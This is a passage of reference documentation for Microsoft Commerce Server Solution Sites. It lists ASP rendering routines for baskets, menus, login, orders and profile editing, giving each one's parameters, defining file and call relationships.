A string containing the HTML representation of the passed currency value. Depending on the App Default Config settings for the i_AltCurrencyOptions and i_CurrencyDisplayOrderOptions parameters, the currency is displayed as the base currency only, as the base currency followed by the alternate currency, or as the alternate currency followed by the alternate currency.

Defined in File

include\std_util_lib.asp

Routines Called

RenderText

Called By

arrPopulateOrderHeaderDetails

GetPriceAndCurrency

htmRenderBasket

htmRenderBuiltInProperties

htmRenderGrandTotals

htmRenderOrderForm

htmRenderShippingOptionsEx

htmRenderVariantsList

tblRenderOrderDetailsContents


htmRenderCustomerServiceSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML representation of the Customer Service section of the menu area.

Definition

Function htmRenderCustomerServiceSection(
  byVal style
)

Parameters

style
A set of attributes corresponding to the FONT element, used when creating the HTML representation of the link text for both user and order management.

Return Value

A string containing the HTML representation of the Customer Service entries in the menu area. These entries include a string indentifying the Customer Service section, and two links: one to the edit the user's profile, and one to list the user's orders.

Defined in File

template\menu.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

htmRenderMenu


htmRenderDefaultPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML for the home page.

Definition

Function htmRenderDefaultPage(
  byVal CatalogSetID,
  byVal rsCatalogs,
  byVal iCatalogCount,
  byVal sCatalogName,
  byVal oCatalog,
  byVal oCategory,
  byVal rsProducts,
  byVal nPageNumber
)

Defined in File

default.asp

Routines Called

CacheFragment

htmRenderCatalogList

htmRenderCategoryPage

RenderText

Called By

Main (default.asp)


htmRenderDiscountMessageGroup - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discount messages on the basket.asp page.

Definition

Function htmRenderDiscountMessageGroup(
  mscsOrderGrp,
  sCiidCollection,
  sMessageGroupDescription
)

Defined in File

basket.asp

Routines Called

Bold

GetDictionary

GetDiscountDescription

RenderPreFormattedText

Called By

htmRenderDiscountMessages


htmRenderDiscountMessages - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discount messages and the discounts applied to the basket by calling the htmRenderDiscountMessageGroup and htmRenderDiscountsApplied functions.

Definition

Function htmRenderDiscountMessages(
  mscsOrderGrp
)

Defined in File

basket.asp

Routines Called

htmRenderDiscountMessageGroup

htmRenderDiscountsApplied

Called By

RenderBasketPage


htmRenderDiscountsApplied - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discounts applied to the basket.

Definition

htmRenderDiscountsApplied(
  mscsOrderGrp
)

Defined in File

basket.asp

Routines Called

Bold

GetDictionary

GetDiscountDescription

GetSimpleList

RenderPreFormattedText

Called By

htmRenderDiscountMessages


htmRenderDiscountsDescriptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the discount descriptions on the summary.asp page.

Definition

Function htmRenderDiscountsDescriptions(
  mscsOrderGrp
)

Defined in File

summary.asp

Routines Called

Bold

GetDictionary

GetDiscountDescription

RenderPreFormattedText

Called By

htmRenderSummaryPage


htmRenderEditPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the contents of any EDIT-type page.

Definition

Function htmRenderEditPage(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\render_edit_common.asp

Routines Called

formRenderEditPageBody

GenerateURL

iGetCountOfProfiles

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

rsGetProfileDetails

sGetPageHeading

Called By

htmCloseActionHandler

htmCopyActionHandler

htmEditAction

htmEditAllProfiles

htmInsertProfile

htmSaveAllActionHandler

htmSaveChangesConfirmationHandler

htmSaveProfiles

htmSelectedActionHandlerForEdit


htmRenderEmptyRecordSet - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML table for an empty recordset.

Definition

Function htmRenderEmptyRecordSet(
  byRef sMsg
)

Defined in File

services\include\render_common.asp

Routines Called

RenderTable

TRTag

Called By

htmRenderOrderList

htmRenderProfilesList

tableRenderMultipleRecords

tableRenderOrdersListContents


htmRenderFillOutForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function prepares the HTML that renders the form specified by the sFormName parameter in the forms Dictionary object stored in the intrinsic Application object, which is under the name "MSCSForms".

Definition

Function htmRenderFillOutForm(
  byVal urlAction,
  byVal sFormName,
  dictFieldVals,
  dictMessages
)

Parameters

urlAction
A string containing the URL to which the form will be posted when it is submitted.
sFormName
A string containing the name of the form specification Dictionary object within the forms Dictionary object stored in the intrinsic Application object, which is under the name "MSCSForms".
dictFieldVals
A Dictionary object of the posted form values, if any. The dictionary keys are the field names, and the corresponding values are the posted form values. If this parameter is set to Nothing, a blank form is rendered. If values are provided, the form is rendered with one or more values filled in.
dictMessages
A Dictionary object containing error messages for each of the posted form values, if any. The dictionary keys are the field names, and the corresponding values are the error message strings. If a field name is found to be a key in this Dictionary object, the corresponding error message is rendered below the field that produced the error.

Return Value

A string containing the HTML that results in the rendering of the specified form.

Defined in File

include\form_lib.asp

Routines Called

CacheFragment

FormatOutput

GetRepeatStyle

LookupCachedFragment

RenderCheckBox

RenderForm

RenderHiddenField

RenderListBoxFromSimpleList

RenderPasswordBox

RenderResetButton

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderText

RenderTextBox

Called By

htmRenderAddressForm

htmRenderCreditCardPage

htmRenderLoginPage

htmRenderNewUserPage

htmRenderPaymentOptionsPage

Main (addrform.asp)

Remarks

If the form is blank, this function attempts to retrieve it from the cache StaticSectionsCache using the value of the sFormName parameter as the cache key.

If this function has constructed the HTML for a blank form, the HTML string containing the form is stored in the cache StaticSectionsCache using the value of the sFormName parameter as the cache key.

For more conceptual information about forms processing, see Forms Processing for Solution Sites.


htmRenderFullTextSearchResults - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the results of a full text search.

Definition

Function htmRenderFullTextSearchResults(
  byRef sPhrase,
  byRef rsResultSet,
  sCacheKey,
  iRecordCount
)

Parameters

sPhrase
A string containing the free text string for which to search.
rsResultSet
A reference to a Recordset object containing the search results, passed through to the function RenderSearchResults.
sCacheKey
A string containing a key under which the constructed HTML will be cached in the FTSearchPageCache cache.
iRecordCount
An integer that specifies the number of search results found.

Return Value

A string containing the HTML representation of the search results title and search results content.

Defined in File

search.asp

Routines Called

CacheFragment

RenderSearchResults

RenderText

Called By

Main (search.asp)


htmRenderGrandTotals - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the grand total of the order.

Definition

Function htmRenderGrandTotals(
  mscsOrderGrp
)

Defined in File

summary.asp

Routines Called

htmRenderCurrency

RenderTableDataRow

Called By

htmRenderSummaryPage


htmRenderLoginPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the login page.

Definition

Function htmRenderLoginPage(
  bSuccess,
  bMustTransferBasket,
  bDisplayGuestOption,
  bDisplayNewUserRegistrationOption,
  sUserID,
  iErrorLevel,
  rsLoginUser,
  mscsGuestUser,
  dictFldVals,
  dictFldErrs,
  listFlds,
  listFrmErrs,
  urlAction
)

Defined in File

login\login.asp

Routines Called

GenerateURL

htmRenderFillOutForm

RenderLink

RenderText

Called By

Main (login\login.asp)


htmRenderLoginSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the login section of the menu.asp page.

Definition

Function htmRenderLoginSection(
  byVal sAuthUser,
  byVal bFormLoginSupported,
  byVal mscsUser,
  byVal sLoginName
)

Parameters

sAuthUser
A string containing the login name of the authorized user, passed through to the function RenderText.
bFormLoginSupported
A Boolean value indicating whether login is supported.
mscsUser
A reference to a User object.
sLoginName
A string containing the login name of the user, passed through to the function RenderText.

Return Value

A string containing the HTML representation of the login section of the menu.asp page.

Defined in File

template\menu.asp

Routines Called

CacheFragment

GenerateURL

LookupCachedFragment

RenderLink

RenderText

Called By

htmRenderMenu


htmRenderLogoffPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the logoff page.

Definition

Function htmRenderLogoffPage(
  byVal bReEnterWithFormLogin,
  byVal bReEnterAsGuestOption
)

Defined in File

login\logoff.asp

Routines Called

RenderLink

RenderText

Called By

Main (login\logoff.asp)


htmRenderMenu - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML for a menu, and contains calls to business logic functions as necessary.

Definition

Function htmRenderMenu(
  byVal mscsUser,
  byVal CatalogSetID
)

Parameters

mscsUser
A reference to a User object, passed through to the functions PrepareLoginSection and htmRenderLoginSection.
CatalogSetID
The ID of the catalog set, passed through to the functions CacheFragment and LookupCachedFragment.

Return Value

A string containing the HTML representation of the menu.

Defined in File

template\menu.asp

Routines Called

CacheFragment

GetQualifiedName

GetRequestString

htmRenderCatalogSection

htmRenderCustomerServiceSection

htmRenderLoginSection

htmRenderPartnerServiceSection

htmRenderSearchSection

LookupCachedFragment

PrepareCatalogSection

PrepareLoginSection

RenderTable

Called By

This routine is called by code outside of any routine (sub or function) in the file template\menu.asp.


htmRenderMessageBoxForCancel - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page for a cancel action.

Definition

Function htmRenderMessageBoxForCancel(
  byVal sAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

GetRequestString

tableRenderMessageBoxPage

Called By

htmCloseActionHandler


htmRenderMessageBoxForDelete - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page while deleting entity records.

Definition

Function htmRenderMessageBoxForDelete

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

tableRenderMessageBoxPage

Called By

htmDeleteActionHandler


htmRenderMessageBoxForDeleteAll - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page for a "DeleteAll" action.

Definition

Function htmRenderMessageBoxForDeleteAll

Parameters

None.

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

tableRenderMessageBoxPage

Called By

htmDeleteActionHandler


htmRenderMessageBoxForSave - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page with save options.

Definition

Function htmRenderMessageBoxForSave(
  byVal sAction,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

GetRequestString

tableRenderMessageBoxPage

Called By

None.


htmRenderMessageBoxForSelect - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page for a "Select" action.

Definition

Function htmRenderMessageBoxForSelect(
  byVal sAction,
  byVal sSelectFieldName,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

GenerateURL

GetRequestString

tableRenderMessageBoxPage

Called By

htmRenderMessageBoxPage


htmRenderMessageBoxPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the message box page.

Definition

Function htmRenderMessageBoxPage(
  byVal sAction,
  byVal sSubAction,
  byVal sActionPage,
  byVal sProfileIDs
)

Defined in File

services\include\render_messagebox.asp

Routines Called

bProfileHasChanged

htmRenderMessageBoxForSelect

iGetCountOfProfiles

sGetSelectActionPropertyName

Called By

htmSaveChangesConfirmationHandler


htmRenderNewUserPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the new user page.

Definition

Function htmRenderNewUserPage(
  urlAction,
  dictFldVals,
  dictFldErrs,
  sLanguage
)

Defined in File

login\newuser.asp

Routines Called

htmRenderFillOutForm

RenderText

Called By

Main (login\newuser.asp)


htmRenderOrderDateTypes - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order date type for both user and organization orders.

Definition

Function htmRenderOrderDateTypes(
  byVal sFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

rowRenderSearchOptionForInteger


htmRenderOrderDetails - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order details.

Definition

Function htmRenderOrderDetails(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal rsOrder
)

Defined in File

services\include\render_orders.asp

Routines Called

formRenderOrderContents

GenerateURL

RenderForm

RenderTable

RenderText

rowRenderHeader

sGetPageHeading

Called By

htmRenderOrderDetailsForIDs


htmRenderOrderDetailsForIDs - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function redirects the user back to the order list page, because multiple orders cannot be viewed at once.

Definition

Function htmRenderOrderDetailsForIDs(
  sAction,
  sSubAction,
  sProfileIDs
)

Defined in File

services\include\order_handlers.asp

Routines Called

htmRenderOrderDetails

rsGetOrderDetails

Called By

htmOrderDetailsActionHandler


htmRenderOrderForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order form.

Definition

Function htmRenderOrderForm(
  mscsOrderForm
)

Defined in File

summary.asp

Routines Called

GenerateURL

GetArrayFromList

htmRenderCurrency

RenderLink

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

RenderUnorderedList

Called By

htmRenderSummaryPage


htmRenderOrderList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order list.

Definition

Function htmRenderOrderList(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byRef iPageNumber,
  byRef iTotalRecords,
  byRef iTotalPages
)

Defined in File

services\include\render_orders.asp

Routines Called

formRenderOrderSearchOptions

formRenderOrdersListContents

GenerateURL

htmRenderEmptyRecordSet

PrepareOrderList

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

sGetPageHeading

tableRenderFooterInfo

Called By

htmOrderListActionHandler

Main (services\customer\orders.asp)


htmRenderOrderStatusOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the order status options.

Definition

Function htmRenderOrderStatusOptions(
  byVal sFieldValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

rowRenderSearchOptionForInteger


htmRenderPartnerDeskRoles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the user i_PartnerDeskRoleFlags options.

Definition

Function htmRenderPartnerDeskRoles(
  byVal sFieldValue,
  byVal bIsRequired
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderProperty

rowRenderSearchOptionForInteger


htmRenderPartnerServiceSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the Partner Service section.

Definition

Function htmRenderPartnerServiceSection(
  byVal style
)

Parameters

style
A set of attributes corresponding to the FONT element, passed through to the fuction RenderText.

Return Value

A string containing the HTML representation of the Partner Services section of the menu.asp page.

Defined in File

template\menu.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

htmRenderMenu


htmRenderPaymentOptionsForUser - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the payment options for the user.

Definition

Function htmRenderPaymentOptionsForUser(
  listMethods,
  byVal sVerifyWithTotal
)

Defined in File

include\payment.asp

Routines Called

FormatOutput

GenerateURL

GetPaymentMethodDisplayName

GetSimpleList

RenderForm

RenderHiddenField

RenderListBoxFromSimpleList

RenderSubmitButton

RenderText

Called By

htmRenderCreditCardPage

htmRenderPaymentOptionsPage


htmRenderPaymentOptionsPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the payment options page.

Definition

Function htmRenderPaymentOptionsPage(
  iPaymentMethodsCount,
  urlAction,
  dictFldVals,
  dictFldErrs
)

Defined in File

po.asp

Routines Called

htmRenderFillOutForm

htmRenderPaymentOptionsForUser

RenderText

Called By

Main (po.asp)


htmRenderPickshipForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the page for selecting the shipment method.

Definition

Function htmRenderPickshipForm(
  byVal mscsOrderGrp,
  byVal objContext,
  byVal dictAggregate,
  bNoMethodsAvailable
)

Defined in File

pickship.asp

Routines Called

GenerateURL

htmRenderShippingOptionsEx

RenderForm

RenderLink

RenderSubmitButton

RenderText

Called By

Main (pickship.asp)


htmRenderPredictions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders predictions.

Definition

Function htmRenderPredictions(
  mscsOrderGrp,
  oOrderFormDisplayOrder
)

Parameters

mscsOrderGrp
A reference to an OrderGroup object containing the basket contents.
oOrderFormDisplayOrder
A reference to a SimpleList object that contains an alphabetically sorted list of keys corresponding to the OrderForm objects within the OrderGroup object. This allows the OrderForm objects to be processed in alphabetical order regardless of their relative positions with the OrderGroup object.

Return Value

A string containing the HTML representation of the predictions.

Defined in File

basket.asp

Routines Called

GetDictionary

GetSimpleList

PredictedPropToHREF

Called By

RenderBasketPage


htmRenderProductsTable - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a Recordset object containing products in a table format. The table has the following four columns: identifying property (for example SKU), name, description, and price. If the identifying property and name are the same, only three columns are shown.

Definition

Function htmRenderProductsTable(
  byVal oCatalog,
  byVal rsProducts,
  byVal sCategoryName
)

Parameters

oCatalog
A reference to a ProductCatalog object.
rsProducts
A reference to a Recordset object containing products to be represented in HTML, passed through to the function rsPriceAndCurrency.
sCategoryName
A string containing the name of a category, passed through to RenderProductLink.

Return Value

A string containing the HTML representation of the products in a table format.

Defined in File

include\catalog.asp

Routines Called

GetPriceAndCurrency

RenderProductLink

RenderTable

RenderTableDataRow

RenderTableHeaderRow

Called By

htmRenderCategoryPage


htmRenderProfilesList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the contents for any LIST-type page.

Definition

Function htmRenderProfilesList(
  byRef sAction,
  byVal sSubAction,
  byRef iPageNumber,
  byRef iTotalPages
)

Defined in File

services\include\render_list.asp

Routines Called

formRenderListPageContents

formRenderProfileSearchOptions

GenerateURL

GetSearchDictionaryForThisPage

htmRenderEmptyRecordSet

RenderForm

RenderTable

RenderText

rowRenderHeader

rowRenderStatusInfo

rsGetProfilesList

sGetPageHeading

tableRenderFooterInfo

Called By

htmListPageActionHandlers


htmRenderSearchDeptPageContent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the content from the array generated by the arrSearchDept function.

Definition

Function htmRenderSearchDeptPageContent(
  arrData,
  sItemSeparator
)

Parameters

arrData
An array that contains the items.
sItemSeparator
A separator string that separates the catalog name from the category name in every element of the arrData parameter.

Return Value

A string containing the HTML representation of the content in the array generated by the arrSearchDept function.

Defined in File

srchdept.asp

Routines Called

GenerateURL

RenderLink

RenderText

Called By

Main (srchdept.asp)


htmRenderSearchSection - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the search section on the navigation pane.

Definition

Function htmRenderSearchSection(
  byVal dictSectionTitleStyle,
  byVal dictSectionBodyStyle,
  sSearchValue
)

Parameters

dictSectionTitleStyle
A dictionary variable that defines the font style of the title for the search section, passed through to the function RenderText
dictSectionBodyStyle
A dictionary variable that defines the font style of the body text in the search section.
sSearchValue
A string containing the search value, passed through to the function RenderTextBox.

Return Value

A string containing the HTML representation search section on the navigation pane.

Defined in File

template\menu.asp

Routines Called

GenerateURL

RenderForm

RenderLink

RenderSubmitButton

RenderText

RenderTextBox

Called By

htmRenderMenu


htmRenderSelectEndTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the HTML end select tag, </SELECT>.

Definition

Function htmRenderSelectEndTag

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderCountries

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderSiteTerm

htmRenderUserStatusOptions


htmRenderSelectTag - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the select tag.

Definition

Function htmRenderSelectTag(
  byVal sSelectName
)

Defined in File

services\include\render_common.asp

Routines Called

None.

Called By

htmRenderCountries

htmRenderOrderDateTypes

htmRenderOrderStatusOptions

htmRenderPartnerDeskRoles

htmRenderSiteTerm

htmRenderUserStatusOptions


htmRenderShippingMethods - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the shipping methods.

Definition

Function htmRenderShippingMethods(
  mscsOrderGrp,
  rs
)

Defined in File

pickship.asp

Routines Called

GenerateURL

RenderForm

RenderLink

RenderRadioButton

RenderSubmitButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

Called By

Main (pickship.asp)


htmRenderShippingOptionsEx - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the shipping options, along with a preview of the cost for each shipping method.

Definition

Function htmRenderShippingOptionsEx(
  byVal mscsOrderGrp,
  byVal dictAggregate
)

Defined in File

pickship.asp

Routines Called

htmRenderCurrency

RenderRadioButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

sGetDefaultShippingMethod

Called By

htmRenderPickshipForm


htmRenderSiteTerm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a list box corresponding to a SiteTerm property.

Definition

Function htmRenderSiteTerm(
  byVal oProperty,
  byVal varPropertyValue
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderProperty


htmRenderStepSearchPageContent - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the results of a step search.

Definition

Function htmRenderStepSearchPageContent (
  sCategoryName,
  sCatalogName,
  byRef oCatalog,
  bViewResults,
  byRef rsFields,
  byRef rsResults,
  sSearchHandle,
  iMatchesFound,
  iConstraintFieldsCount,
  iNonConstraintFieldsCount,
  arr1,
  arr2,
  bNoValues,
  bClosestMatches
)

Parameters

sCategoryName
A string containing the category name, passed through to the functions RenderText and ShowRefinedSearch.
sCatalogName
A string containing the catalog name, passed through to the function ShowRefinedSearch.
oCatalog
A reference to a ProductCatalog object, passed through to the function ShowSearchMatches.
bViewResults
A Boolean indicating whether to view the search matches (True) or the refined search (False).
rsFields
A reference to a Recordset object containing the searchable fields, passed through to the function ShowRefinedSearch.
rsResults
A reference to a Recordset object containing the search results, passed through to the function ShowSearchMatches.
sSearchHandle
A string containing the search handle.
iMatchesFound
An integer that specifies the number of matches found, passed through to the functions ShowRefinedSearch and ShowSearchMatches.
iConstraintFieldsCount
An integer that specifies the number of constraint fields, passed through to the function ShowRefinedSearch.
iNonConstraintFieldsCount
An integer that specifies the number of non-constraint fields, passed through to the function ShowRefinedSearch.
arr1
An array of non-constraining searchable properties, passed through to the function ShowRefinedSearch.
arr2
An array of constraining searchable properties, passed through to the function ShowRefinedSearch.
bNoValues
A boolean indicating whether there are no values, passed through to the function ShowRefinedSearch.
bClosestMatches
A boolean indicating whether to search for closest matches.

Return Value

A string containing the HTML representation of the step search.

Defined in File

stepsrch.asp

Routines Called

RenderText

ShowRefinedSearch

ShowSearchMatches

Called By

Main (stepsrch.asp)


htmRenderSummaryPage - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the summary.asp page.

Definition

Function htmRenderSummaryPage(
  mscsOrderGrp,
  mscsAnyOrderform,
  dictAnyItem,
  listMethods,
  bBadVerify
)

Defined in File

summary.asp

Routines Called

htmRenderAddress

htmRenderDiscountsDescriptions

htmRenderGrandTotals

htmRenderOrderForm

htmRenderVerifyWithForm

RenderTable

RenderTableDataRow

RenderTableHeaderRow

RenderText

SortDictionaryKeys

Called By

Main (summary.asp)


htmRenderUniqueIDForProfile - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function adds a globally unique profile identifier to the LIST page.

Definition

Function htmRenderUniqueIDForProfile(
  byVal sAction,
  byVal sSubAction,
  byVal oProperty,
  byVal Count,
  byVal rsProfile
)

Defined in File

services\include\render_list.asp

Routines Called

RenderCheckBox

RenderHiddenField

RenderRadioButton

Called By

arrPopulateProfileDetails


htmRenderUserDefinedProductProperties - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the user-defined properties of the product. Certain properties are treated specially, such as IMAGE_FILENAME_PROPERTY_NAME.

Definition

Function htmRenderUserDefinedProductProperties(
  byVal rsProperties,
  byVal style
)

Parameters

rsProperties
A Recordset object containing the values of the properties of a product.
style
A set of attributes corresponding to the FONT element.

Return Value

A string containing the HTML representation of the user-defined properties of the product.

Defined in File

product.asp

Routines Called

FormatOutput

PeekField

RenderImage

RenderText

sGetPropertyDisplayName

Called By

Main (product.asp)


htmRenderUserStatusOptions - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the user status options.

Definition

Function htmRenderUserStatusOptions(
  byVal sFieldValue,
  byVal bIsRequired
)

Defined in File

services\include\render_common.asp

Routines Called

htmRenderSelectEndTag

htmRenderSelectTag

Called By

colRenderProperty

rowRenderSearchOptionForInteger


htmRenderVariantsList - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders all variants of the given product with a radio button in front of the product so the user can select which product variant they want to purchase.

Definition

Function htmRenderVariantsList(
  byVal sIdentifyingVariantProperty,
  byVal rsVariants,
  byVal sSelectedVariantID
)

Parameters

sIdentifyingVariantProperty
A string containing the variant name, passed through to the function RenderRadioButton.
rsVariants
A reference to a Recordset object containing the variants for the given product, passed through to the function listGetVariantPropertiesToShow.
sSelectedVariantID
A string containing the variant ID.

Return Value

A string containing the HTML representation of all the variants of the given product.

Defined in File

product.asp

Routines Called

htmRenderCurrency

listGetVariantPropertiesToShow

RenderRadioButton

RenderTable

RenderTableDataRow

RenderTableHeaderRow

sGetPropertyDisplayName

Called By

Main (product.asp)


htmRenderVerifyWithForm - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders a hidden field containing the "verify_with_total" value. To verify that an order has not been altered between the time it was last shown to the user and the time the user completes the purchase, the order total shown to the user is stored in a hidden field; during the purchase, this value is verified to determine whether it matches the order total recalculated after running the total pipeline. If there is a discrepancy, the user is redirected to the order summary with an error.

Definition

Function htmRenderVerifyWithForm(
  mscsOrderGrp,
  listMethods
)

Defined in File

summary.asp

Routines Called

GenerateURL

GetDefaultPaymentMethodForUser

GetPaymentPageFromPaymentMethod

IsEntityInList

RenderForm

RenderHiddenField

RenderSubmitButton

Called By

htmRenderSummaryPage


htmSaveActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function checks if the user is saving profiles returned by the search criteria in the corresponding list page, then calls an appropriate handler to handle the following cases: SELECTALL_ACTION; ADD_ACTION; COPY_ACTION; EDIT_ACTION.

Definition

Function htmSaveActionHandler(
  byRef sAction,
  byVal sSubAction,
  byRef sProfileIDs
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmInsertProfile

htmSaveAllActionHandler

htmSaveProfiles

PrepareInsertProfile

PrepareSaveAllAction

PrepareSaveProfiles

Called By

htmEditPageActionHandlers

Main (services\customer\account.asp)

Main (services\partner\account.asp)


htmSaveAllActionHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Save All" action output.

Definition

Function htmSaveAllActionHandler(
  byVal sAction,
  byRef sSubAction,
  byRef sProfileIDs,
  byVal StatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

htmSaveActionHandler


htmSaveChangesConfirmationHandler - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Save Changes Confirmation" action.

Definition

Function htmSaveChangesConfirmationHandler(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal sActionPage,
  byRef sPreviousAction,
  byRef listProfileSchema,
  byRef bValidPostedValues,
  byRef bDisplayPostedValues
)

Defined in File

services\include\messagebox_handlers.asp

Routines Called

bSaveProfileAndRedirect

htmRenderEditPage

htmRenderMessageBoxPage

Called By

htmChangePasswordActionHandler

htmSelectActionHandlerForEdit


htmSaveProfiles - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Save Profiles" action output.

Definition

Function htmSaveProfiles(
  byVal sAction,
  byVal sSubAction,
  byVal sProfileIDs,
  byVal bUpdated,
  byVal sSourcePage,
  byVal sStatusField,
  byVal iStatusID,
  byVal bValidPostedValues,
  byVal bDisplayPostedValues,
  byVal listProfileSchema
)

Defined in File

services\include\edit_handlers.asp

Routines Called

htmRenderEditPage

Called By

htmSaveActionHandler


htmSelectActionHandlerForEdit - Solution Sites Routine

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This function renders the "Select" action.

Definition

Function htmSelectActionHandlerForEdit(
  byRef sAction,
